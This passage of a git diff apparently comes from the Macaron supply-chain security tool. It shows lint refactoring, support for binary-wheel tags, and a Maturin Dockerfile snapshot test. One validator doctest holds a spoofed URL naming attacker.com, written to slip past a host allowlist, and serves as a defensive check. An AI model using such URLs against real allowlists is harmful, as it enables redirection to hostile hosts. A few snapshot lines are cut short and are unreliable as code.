members) # noqa: S202 except zipfile.BadZipFile as bad_zip: self.cleanup_sourcecode_directory(temp_dir, f"Error extracting wheel: {bad_zip}", bad_zip) @@ -544,7 +573,7 @@ def get_python_requires_for_package_requirement(self, package_requirement: str) if releases: # Find smallest requirement satisfying parsed_requirement.name version_tuples: list[tuple[str, Version]] = [] - for version in releases.keys(): + for version in releases: try: version_name = str(version) parsed_version = Version(version_name) @@ -624,9 +653,7 @@ class PyPIInspectorAsset: def __bool__(self) -> bool: """Determine if this inspector object is empty.""" - if (self.package_sdist_link or self.package_whl_links) and self.package_link_reachability: - return True - return False + return bool((self.package_sdist_link or self.package_whl_links) and self.package_link_reachability) @staticmethod def get_structure(pypi_inspector_url: str) -> list[str] | None: @@ -842,13 +869,14 @@ def get_sourcecode_url(self, package_type: str = "sdist") -> str | None: return configured_source_url return None - def get_wheel_url(self, tag: str = "none-any") -> str | None: - """Get url of wheel corresponding to specified tag. + def get_wheel_url(self, wheel_tag_pattern: str = "*-none-any") -> str | None: + """Get the URL of a wheel matching the requested tag pattern. Parameters ---------- - tag: str - Wheel tag to match. Defaults to none-any. + wheel_tag_pattern: str + Shell-style pattern matched against parsed wheel tags. The default + selects pure ``none-any`` wheels. Returns ------- @@ -872,7 +900,12 @@ def get_wheel_url(self, tag: str = "none-any") -> str | None: if distribution.get("packagetype") != "bdist_wheel": continue file_name: str = distribution.get("filename") or "" - if not file_name.endswith(f"{tag}.whl"): + try: + _, _, _, tags = parse_wheel_filename(file_name) + except InvalidWheelFilename: + logger.debug("Could not parse wheel name %s.", file_name) + continue + if not any(fnmatch.fnmatch(str(tag), wheel_tag_pattern) for tag in tags): continue self.wheel_filename = file_name # Continue to getting url @@ -934,21 +967,19 @@ def wheel(self, download_binaries: bool) -> Generator[None]: Raises ------ - WheelTagError - If download_binaries is True SourceCodeError If we are unable to download the requested wheel """ - if download_binaries: - raise WheelTagError("Macaron does not currently support analysis of non-pure Python wheels.") - if not self.download_wheel(): + if not self.download_wheel(download_binaries): raise SourceCodeError("Unable to download requested wheel.") - yield - if self.wheel_path: - # Name for cleanup_sourcecode_directory could be refactored here - PyPIRegistry.cleanup_sourcecode_directory(self.wheel_path) + try: + yield + finally: + if self.wheel_path: + # Name for cleanup_sourcecode_directory could be refactored here + PyPIRegistry.cleanup_sourcecode_directory(self.wheel_path) - def download_wheel(self) -> bool: + def download_wheel(self, download_binaries: bool = False) -> bool: """Download and extract wheel metadata to a temporary directory. Returns @@ -956,7 +987,11 @@ def download_wheel(self) -> bool: bool ``True`` if the wheel is downloaded and extracted successfully; ``False`` if not. """ - url = self.get_wheel_url() + url = ( + self.get_wheel_url("*-linux_x86_64") or self.get_wheel_url("*-manylinux*_x86_64") + if download_binaries + else self.get_wheel_url() + ) if url: try: self.wheel_path = self.pypi_registry.download_package_wheel(url) @@ -996,9 +1031,11 @@ def sourcecode(self) -> Generator[None]: """Download and cleanup source code of the package with a context manager.""" if not self.download_sourcecode(): raise SourceCodeError("Unable to download package source code.") - yield - if self.package_sourcecode_path: - PyPIRegistry.cleanup_sourcecode_directory(self.package_sourcecode_path) + try: + yield + finally: + if self.package_sourcecode_path: + PyPIRegistry.cleanup_sourcecode_directory(self.package_sourcecode_path) def download_sourcecode(self) -> bool: """Get the source code of the package and store it in a temporary directory. @@ -1093,11 +1130,7 @@ def file_exists(self, path: str) -> bool: if not os.path.isabs(path): path = os.path.join(self.package_sourcecode_path, path) - if not os.path.exists(path): - # Could not find a file at that path - return False - - return True + return os.path.exists(path) def iter_sourcecode(self) -> Iterator[tuple[str, bytes]]: """ @@ -1120,10 +1153,7 @@ def iter_sourcecode(self) -> Iterator[tuple[str, bytes]]: for root, _directories, files in os.walk(self.package_sourcecode_path): for file in files: - if root == ".": - root_path = os.getcwd() + os.linesep - else: - root_path = root + root_path = os.getcwd() + os.linesep if root == "." else root filepath = os.path.join(root_path, file) with open(filepath, "rb") as handle: diff --git a/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py b/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py index 2f8caf3de..32dbe94fc 100644 --- a/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py +++ b/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module provides CUE expectation implementations. @@ -30,10 +30,10 @@ class CUEExpectation(Expectation): __tablename__ = "_cue_expectation" #: The primary key, which is also a foreign key to the base check table. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The polymorphic inheritance configuration. - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_cue_expectation", } diff --git a/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py b/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py index fc7e92c1b..ad25a40fc 100644 --- a/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py +++ b/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py @@ -1,10 +1,10 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """The cue module invokes the CUE schema validator.""" import os -import subprocess # nosec B404 +import subprocess from macaron import MACARON_PATH from macaron.config.defaults import defaults @@ -39,7 +39,7 @@ def get_target(expectation_path: str | None) -> str: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -88,7 +88,7 @@ def validate_expectation(expectation_path: str, prov_stmt_path: str) -> bool: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, diff --git a/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py b/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py index bee069028..51b86c614 100644 --- a/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py +++ b/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module handles in-toto version 0.1 attestations.""" @@ -20,7 +20,7 @@ class InTotoV01Statement(TypedDict): _type: str subject: list[InTotoV01Subject] - predicateType: str # noqa: N815 + predicateType: str predicate: dict[str, JsonType] | None diff --git a/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py b/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py index 2854b91e2..e7c4b1b31 100644 --- a/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py +++ b/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module handles in-toto version 1 attestations.""" @@ -21,7 +21,7 @@ class InTotoV1Statement(TypedDict): _type: str subject: list[InTotoV1ResourceDescriptor] - predicateType: str # noqa: N815 + predicateType: str predicate: dict[str, JsonType] | None diff --git a/src/macaron/slsa_analyzer/provenance/loader.py b/src/macaron/slsa_analyzer/provenance/loader.py index 0b7b1352b..a678f0a85 100644 --- a/src/macaron/slsa_analyzer/provenance/loader.py +++ b/src/macaron/slsa_analyzer/provenance/loader.py @@ -102,14 +102,14 @@ def decode_provenance(provenance: dict) -> dict[str, JsonType]: If the payload could not be decoded. """ # The GitHub Attestation stores the DSSE envelope in `dsseEnvelope` property. - dsse_envelope = provenance.get("dsseEnvelope", None) + dsse_envelope = provenance.get("dsseEnvelope") if dsse_envelope: provenance_payload = dsse_envelope.get("payload", None) logger.debug("Found dsseEnvelope property in the provenance.") else: # Some provenances, such as Witness may not include the DSSE envelope `dsseEnvelope` # property but contain its value directly. - provenance_payload = provenance.get("payload", None) + provenance_payload = provenance.get("payload") if not provenance_payload: # PyPI Attestation. provenance_payload = json_extract(provenance, ["envelope", "statement"], str) diff --git a/src/macaron/slsa_analyzer/registry.py b/src/macaron/slsa_analyzer/registry.py index 55dd7f7a3..edfed93ed 100644 --- a/src/macaron/slsa_analyzer/registry.py +++ b/src/macaron/slsa_analyzer/registry.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Registry class for loading checks.""" @@ -11,7 +11,7 @@ import traceback from collections.abc import Callable, Iterable from graphlib import CycleError, TopologicalSorter -from typing import Any, TypeVar +from typing import Any, ClassVar, TypeVar from macaron.config.defaults import defaults from macaron.console import access_handler @@ -37,10 +37,10 @@ class Registry: """This abstract class is used to store checks in Macaron.""" - _all_checks_mapping: dict[str, BaseCheck] = {} + _all_checks_mapping: ClassVar[dict[str, BaseCheck]] = {} # Map between a check and any child checks that depend on it. - _check_relationships_mapping: dict[str, dict[str, CheckResultType]] = {} + _check_relationships_mapping: ClassVar[dict[str, dict[str, CheckResultType]]] = {} # The format for check id _id_format = re.compile(r"^mcn_([a-z]+_)+([0-9]+)$") @@ -254,10 +254,7 @@ def _validate_check_id_format(check_id: Any) -> bool: >>> Registry._validate_check_id_format("Some_Thing', '', '%(*$)") False """ - if (not isinstance(check_id, str)) or (not Registry._id_format.match(check_id)): - return False - - return True + return not (not isinstance(check_id, str) or not Registry._id_format.match(check_id)) @staticmethod def _validate_check_relationship(relationship: Any) -> bool: @@ -277,16 +274,13 @@ def _validate_check_relationship(relationship: Any) -> bool: bool True if valid, else False. """ - if ( + return bool( relationship and isinstance(relationship, tuple) and len(relationship) == 2 and isinstance(relationship[0], str) and isinstance(relationship[1], CheckResultType) - ): - return True - - return False + ) def get_parents(self, check_id: str) -> set[str]: """Return the ids of all direct parent checks. diff --git a/src/macaron/util.py b/src/macaron/util.py index b6f789493..d4e6420f0 100644 --- a/src/macaron/util.py +++ b/src/macaron/util.py @@ -59,17 +59,16 @@ def url_is_safe(url: str, allow_list: list[str] | None = None, allow_login: bool False >>> url_is_safe("https://username:attacker.com\\@allowlist.com", ["allowlist.com"]) False - >>> url_is_safe("https://username:test@allowlist.com", ["allowlist.com"], allow_login = True) + >>> url_is_safe("https://username:test@allowlist.com", ["allowlist.com"], allow_login=True) True """ try: parsed_url = urllib.parse.urlparse(url) except ValueError: return False - if not allow_login: - if parsed_url.username or parsed_url.password: - logger.debug("Potential attempt to redirect to an invalid URL: hostname %s", parsed_url.hostname) - return False + if not allow_login and (parsed_url.username or parsed_url.password): + logger.debug("Potential attempt to redirect to an invalid URL: hostname %s", parsed_url.hostname) + return False hostname = parsed_url.hostname if hostname is None or hostname == "": @@ -371,9 +370,7 @@ def can_download_file(url: str, size_limit: int, timeout: int | None = None) -> return False size = response.headers.get("Content-Length") - if size and int(size) <= size_limit: - return True - return False + return bool(size and int(size) <= size_limit) def download_file_with_size_limit( @@ -471,10 +468,7 @@ def check_rate_limit(response: Response) -> None: response : Response The latest response from GitHub API. """ - if "X-RateLimit-Remaining" in response.headers: - remains = int(response.headers["X-RateLimit-Remaining"]) - else: - remains = 2 + remains = int(response.headers["X-RateLimit-Remaining"]) if "X-RateLimit-Remaining" in response.headers else 2 if remains <= 1: rate_limit_reset = response.headers.get("X-RateLimit-Reset", default="") @@ -509,7 +503,7 @@ def construct_query(params: dict) -> str: Examples -------- - >>> construct_query({"bar":1,"foo":2}) + >>> construct_query({"bar": 1, "foo": 2}) 'bar=1&foo=2' """ return urllib.parse.urlencode(params) @@ -531,9 +525,7 @@ def download_github_build_log(url: str, headers: dict) -> str: The content of the downloaded build log or empty if error. """ logger.debug("Downloading content at link %s", url) - response = requests.get( - url=url, headers=headers, timeout=defaults.getint("requests", "timeout", fallback=10) - ) # nosec B113:request_without_timeout + response = requests.get(url=url, headers=headers, timeout=defaults.getint("requests", "timeout", fallback=10)) return response.content.decode("utf-8") @@ -621,7 +613,7 @@ class BytesDecoder: """ # Taken from https://w3techs.com/technologies/overview/character_encoding. - COMMON_ENCODINGS = [ + COMMON_ENCODINGS = ( "ISO-8859-1", "cp1252", "cp1251", @@ -632,7 +624,7 @@ class BytesDecoder: "cp1250", "ISO-8859-2", "big5", - ] + ) @staticmethod def decode(data: bytes) -> str | None: diff --git a/src/macaron/vsa/vsa.py b/src/macaron/vsa/vsa.py index 43b9ca156..5115b6153 100644 --- a/src/macaron/vsa/vsa.py +++ b/src/macaron/vsa/vsa.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """VSA schema and generation.""" @@ -38,7 +38,7 @@ class Vsa(TypedDict): """ #: The payload type. Following in-toto, this is always ``application/vnd.in-toto+json``. - payloadType: str # noqa: N815 + payloadType: str #: The payload of the VSA, base64 encoded. payload: str @@ -66,7 +66,7 @@ class VsaStatement(TypedDict): #: Identifier for the type of the Predicate. #: For Macaron-generated VSAs, this is always ``https://slsa.dev/verification_summary/v1``. - predicateType: str # noqa: N815 + predicateType: str #: The Predicate of the attestation, providing information about the verification. predicate: VsaPredicate @@ -89,14 +89,14 @@ class VsaPredicate(TypedDict): #: The timestamp when the verification occurred. #: The field is a #: `Timestamp `_. - timeVerified: str # noqa: N815 + timeVerified: str #: URI that identifies the resource associated with the software component being verified. #: This field is a #: `ResourceURI `_. #: Currently, this has the same value as the subject of the VSA, i.e. the PURL of #: the software component being verified against. - resourceUri: str # noqa: N815 + resourceUri: str #: The policy that the subject software component was verified against. #: This field is a @@ -104,12 +104,12 @@ class VsaPredicate(TypedDict): policy: Policy #: The verification result. - verificationResult: VerificationResult # noqa: N815 + verificationResult: VerificationResult #: According to SLSA, this field "indicates the highest level of each track verified #: for the artifact (and not its dependencies), or ``FAILED`` if policy verification failed". #: We currently leave this list empty. - verifiedLevels: list # noqa: N815 + verifiedLevels: list class Verifier(TypedDict): @@ -120,7 +120,7 @@ class Verifier(TypedDict): #: The identity of the verifier as a #: `TypeURI `_. - id: str # noqa: A003 + id: str #: A mapping from components of the verifier and their corresponding versions. #: At the moment, this field only includes Macaron itself. diff --git a/tests/analyze_json_output/compare_analyze_json_output.py b/tests/analyze_json_output/compare_analyze_json_output.py index 322a902a8..d98c15f92 100755 --- a/tests/analyze_json_output/compare_analyze_json_output.py +++ b/tests/analyze_json_output/compare_analyze_json_output.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module checks the result JSON files against the expected outputs.""" @@ -83,7 +83,7 @@ def compare_check_results(result: dict, expected: dict) -> int: def compare_target_info(result: dict, expected: dict) -> int: - """Compare the content of the target.info section""" + """Compare the content of the target.info section.""" # Remove nondeterministic fields result["local_cloned_path"] = expected["local_cloned_path"] = "" result["commit_date"] = expected["commit_date"] = "" diff --git a/tests/artifact/test_local_artifact.py b/tests/artifact/test_local_artifact.py index 5ac5cf651..0548b084a 100644 --- a/tests/artifact/test_local_artifact.py +++ b/tests/artifact/test_local_artifact.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Test the local artifact utilities.""" @@ -121,7 +121,7 @@ def test_construct_local_artifact_paths_glob_pattern_pypi_purl_error(purl_str: s def test_find_artifact_paths_from_invalid_python_venv() -> None: - """Test find_artifact_paths_from_python_venv method with invalid venv path""" + """Test find_artifact_paths_from_python_venv method with invalid venv path.""" with pytest.raises(LocalArtifactFinderError): find_artifact_dirs_from_python_venv("./does-not-exist", ["django", "django-5.0.6.dist-info"]) diff --git a/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py b/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py index e837ab299..31b7fba6d 100644 --- a/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py +++ b/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py @@ -79,7 +79,7 @@ def test_comparing_gradle_cli_command_unequal( """Test comparing two unequal GradleCLICommand objects.""" this_command = gradle_cli_parser.parse(this.split()) that_command = gradle_cli_parser.parse(that.split()) - assert not this_command == that_command + assert this_command != that_command @pytest.mark.parametrize( diff --git a/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py b/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py index 33ad2c276..2e5f697c5 100644 --- a/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py +++ b/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains tests for the maven_cli_command module.""" @@ -65,7 +65,7 @@ def test_comparing_maven_cli_command_unequal( """Test comparing two unequal MavenCLICommand objects.""" this_command = maven_cli_parser.parse(this.split()) that_command = maven_cli_parser.parse(that.split()) - assert not this_command == that_command + assert this_command != that_command @pytest.mark.parametrize( diff --git a/tests/build_spec_generator/common_spec/test_core.py b/tests/build_spec_generator/common_spec/test_core.py index 17c79cf66..219b9ac51 100644 --- a/tests/build_spec_generator/common_spec/test_core.py +++ b/tests/build_spec_generator/common_spec/test_core.py @@ -1,7 +1,7 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""This module contains the tests for build spec generation""" +"""This module contains the tests for build spec generation.""" import pytest from packageurl import PackageURL @@ -24,14 +24,14 @@ [ pytest.param( [ - "make clean".split(), - "mvn clean package".split(), + ["make", "clean"], + ["mvn", "clean", "package"], ], "make clean && mvn clean package", ), pytest.param( [ - "mvn clean package".split(), + ["mvn", "clean", "package"], ], "mvn clean package", ), diff --git a/tests/build_spec_generator/common_spec/test_pypi_spec.py b/tests/build_spec_generator/common_spec/test_pypi_spec.py index a1a6e7a0f..41fd2756e 100644 --- a/tests/build_spec_generator/common_spec/test_pypi_spec.py +++ b/tests/build_spec_generator/common_spec/test_pypi_spec.py @@ -12,9 +12,12 @@ @pytest.mark.parametrize( ("build_tool", "expected_command"), [ + ("pip", ["python", "-m", "build", "--wheel", "-n"]), ("poetry", ["poetry", "build"]), ("flit", ["flit", "build"]), ("uv", ["uv", "build"]), + ("hatch", ["hatch", "build"]), + ("maturin", ["maturin", "build", "--release"]), ], ) def test_set_default_build_commands_for_pypi_tools(build_tool: str, expected_command: list[str]) -> None: diff --git a/tests/build_spec_generator/dockerfile/__snapshots__/test_pypi_dockerfile_output.ambr b/tests/build_spec_generator/dockerfile/__snapshots__/test_pypi_dockerfile_output.ambr index 8b94d8833..f8589b948 100644 --- a/tests/build_spec_generator/dockerfile/__snapshots__/test_pypi_dockerfile_output.ambr +++ b/tests/build_spec_generator/dockerfile/__snapshots__/test_pypi_dockerfile_output.ambr @@ -1,4 +1,103 @@ # serializer version: 1 +# name: test_maturin_binary_package_generation + ''' + + #syntax=docker/dockerfile:1.10 + FROM oraclelinux:9 + + # Install core tools + RUN dnf -y install which wget tar unzip git + # Install Rust toolchain using Rustup + RUN <=1,<2" + EOF + + # Run the build + RUN source /deps/bin/activate && maturin build --release --out dist --compatibility manylinux_2_34 + + # Validate script + RUN cat <<'EOF' >/validate + [ -n "https://files.pythonhosted.org/packages/96/c5/1e741d26306c42e2bf6ab740b2202872727e0f606033c9dd713f8b93f5a8/cachetools-6.2.1-py3-none-any.whl" ] || { echo "No upstream artifact to validate against."; exit 1; } + # Capture artifacts generated + WHEELS=(/src/dist/*.whl) + # Ensure we only have one artifact + [ ${#WHEELS[@]} -eq 1 ] || { echo "Unexpected artifacts produced!"; exit 1; } + # BUILT_WHEEL is the artifact we built + BUILT_WHEEL=${WHEELS[0]} + # Ensure the artifact produced is not the literal returned by the glob + [ -e $BUILT_WHEEL ] || { echo "No wheels found!"; exit 1; } + # Download the wheel + wget -q https://files.pythonhosted.org/packages/96/c5/1e741d26306c42e2bf6ab740b2202872727e0f606033c9dd713f8b93f5a8/cachetools-6.2.1-py3-none-any.whl + # Compare file tree + (unzip -Z1 $BUILT_WHEEL | grep -v '\.dist-info' | sort) > built.tree + (unzip -Z1 "cachetools-6.2.1-py3-none-any.whl" | grep -v '\.dist-info' | sort ) > pypi_artifact.tree + diff -u built.tree pypi_artifact.tree || { echo "File trees do not match!"; exit 1; } + echo "Success!" + EOF + + ENTRYPOINT ["/bin/bash","/validate"] + + ''' +# --- # name: test_successful_generation ''' @@ -28,7 +127,7 @@ # Build OpenSSL 1.1.1w RUN < int: def normalize(contents: str) -> list[str]: - """Convert string of file contents to list of its non-empty lines""" + """Convert string of file contents to list of its non-empty lines.""" return [line.strip() for line in contents.splitlines() if line.strip()] diff --git a/tests/build_spec_generator/dockerfile/test_dockerfile_output.py b/tests/build_spec_generator/dockerfile/test_dockerfile_output.py index 2c7d8fab9..9bd94e9e1 100644 --- a/tests/build_spec_generator/dockerfile/test_dockerfile_output.py +++ b/tests/build_spec_generator/dockerfile/test_dockerfile_output.py @@ -1,9 +1,7 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -Test the logic to dispatch dockerfile generation -""" +"""Test the logic to dispatch dockerfile generation.""" import pytest @@ -42,6 +40,6 @@ def fixture_base_build_spec() -> BaseBuildSpecDict: def test_dispatch_error(maven_build_spec: BaseBuildSpecDict) -> None: - """Ensure that dispatching for unsupported ecosystem fails""" + """Ensure that dispatching for unsupported ecosystem fails.""" with pytest.raises(GenerateBuildSpecError): dockerfile_output.gen_dockerfile(maven_build_spec) diff --git a/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py b/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py index c2b03fcab..8ceea4b94 100644 --- a/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py +++ b/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py @@ -1,13 +1,12 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -Test the logic for dockerfile generation to rebuild PyPI packages. -""" +"""Test the logic for dockerfile generation to rebuild PyPI packages.""" import pytest from macaron.build_spec_generator.common_spec.base_spec import BaseBuildSpecDict, SpecBuildCommandDict +from macaron.build_spec_generator.dockerfile import pypi_dockerfile_output from macaron.build_spec_generator.dockerfile.pypi_dockerfile_output import gen_dockerfile @@ -37,7 +36,10 @@ def fixture_base_build_spec() -> BaseBuildSpecDict: confidence_score=1.0, ) ], - "build_requires": {"setuptools": "==80.9.0", "wheel": ""}, + "build_requires": [ + {"name": "setuptools", "version": "==80.9.0", "installer": "pip"}, + {"name": "wheel", "installer": "pip"}, + ], "build_backends": ["setuptools.build_meta"], "upstream_artifacts": { "wheels": [ @@ -53,6 +55,23 @@ def fixture_base_build_spec() -> BaseBuildSpecDict: ) -def test_successful_generation(snapshot: str, pypi_build_spec: BaseBuildSpecDict) -> None: - """Ensure that dockerfile is correctly generated for pypi_build_spec""" +def test_successful_generation( + monkeypatch: pytest.MonkeyPatch, snapshot: str, pypi_build_spec: BaseBuildSpecDict +) -> None: + """Ensure that dockerfile is correctly generated for pypi_build_spec.""" + monkeypatch.setattr(pypi_dockerfile_output, "get_latest_cpython_patch", lambda _major, _minor: "3.9.25") + assert gen_dockerfile(pypi_build_spec) == snapshot + + +def test_maturin_binary_package_generation(snapshot: str, pypi_build_spec: BaseBuildSpecDict) -> None: + """Ensure a Dockerfile is generated for a Maturin-backed binary package.""" + pypi_build_spec["has_binaries"] = True + pypi_build_spec["build_backends"] = ["maturin"] + pypi_build_spec["build_requires"] = [ + {"name": "maturin", "version": ">=1,<2", "installer": "pip"}, + {"name": "rustup", "installer": "bootstrap"}, + {"name": "rust", "installer": "rustup"}, + {"name": "pyo3", "version": "==0.24.0", "installer": "cargo"}, + ] + assert gen_dockerfile(pypi_build_spec) == snapshot diff --git a/tests/build_spec_generator/test_build_command_patcher.py b/tests/build_spec_generator/test_build_command_patcher.py index b1efc261b..7cafdaa2a 100644 --- a/tests/build_spec_generator/test_build_command_patcher.py +++ b/tests/build_spec_generator/test_build_command_patcher.py @@ -169,7 +169,7 @@ def test_patch_mvn_cli_command_error( invalid_patch: dict[str, MavenOptionPatchValueType | None], ) -> None: """Test patch mvn cli command patching with invalid patch.""" - original_cmd = "mvn -s ../.github/maven-settings.xml install -Pexamples,noRun".split() + original_cmd = ["mvn", "-s", "../.github/maven-settings.xml", "install", "-Pexamples,noRun"] assert ( _patch_command( @@ -348,7 +348,16 @@ def test_patch_gradle_cli_command_error( invalid_patch: dict[str, GradleOptionPatchValueType | None], ) -> None: """Test patch mvn cli command patching with invalid patch.""" - original_cmd = "gradle clean build --no-build-cache --debug --console plain -Dorg.gradle.parallel=true".split() + original_cmd = [ + "gradle", + "clean", + "build", + "--no-build-cache", + "--debug", + "--console", + "plain", + "-Dorg.gradle.parallel=true", + ] assert ( _patch_command( cmd=original_cmd, @@ -406,7 +415,7 @@ def test_patch_arbitrary_command( ("cmd", "patches"), [ pytest.param( - "mvn --this-is-not-a-mvn-option".split(), + ["mvn", "--this-is-not-a-mvn-option"], { PatchCommandBuildTool.MAVEN: { "--debug": True, @@ -418,7 +427,7 @@ def test_patch_arbitrary_command( id="incorrect_mvn_command", ), pytest.param( - "gradle clean build --not-a-gradle-command".split(), + ["gradle", "clean", "build", "--not-a-gradle-command"], { PatchCommandBuildTool.MAVEN: { "--debug": True, @@ -430,7 +439,7 @@ def test_patch_arbitrary_command( id="incorrect_gradle_command", ), pytest.param( - "mvn clean package".split(), + ["mvn", "clean", "package"], { PatchCommandBuildTool.MAVEN: { "--not-a-valid-option": True, @@ -439,7 +448,7 @@ def test_patch_arbitrary_command( id="incorrect_patch_option_long_name", ), pytest.param( - "mvn clean package".split(), + ["mvn", "clean", "package"], { PatchCommandBuildTool.MAVEN: { # --debug expects a boolean or a None value. diff --git a/tests/build_spec_generator/test_macaron_db_extractor.py b/tests/build_spec_generator/test_macaron_db_extractor.py index 8d63a4168..6539de8a5 100644 --- a/tests/build_spec_generator/test_macaron_db_extractor.py +++ b/tests/build_spec_generator/test_macaron_db_extractor.py @@ -1,10 +1,10 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains tests for the macaron_db_extractor module.""" from collections.abc import Generator -from datetime import datetime, timezone +from datetime import UTC, datetime from typing import Any import pytest @@ -48,6 +48,7 @@ def macaron_db_session() -> Generator[Session, Any, None]: yield session session.close() + engine.dispose() @pytest.fixture() @@ -64,6 +65,7 @@ def invalid_db_session() -> Generator[Session, Any, None]: yield session session.close() + engine.dispose() @pytest.mark.parametrize( @@ -72,15 +74,15 @@ def invalid_db_session() -> Generator[Session, Any, None]: pytest.param( [ ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/boo/foo@0.1.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ], @@ -91,15 +93,15 @@ def invalid_db_session() -> Generator[Session, Any, None]: pytest.param( [ ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ( - datetime(year=2025, month=12, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=12, day=6, hour=10, minute=30, second=30, tzinfo=UTC), "pkg:maven/oracle/macaron@0.16.0", ), ( - datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc), + datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC), 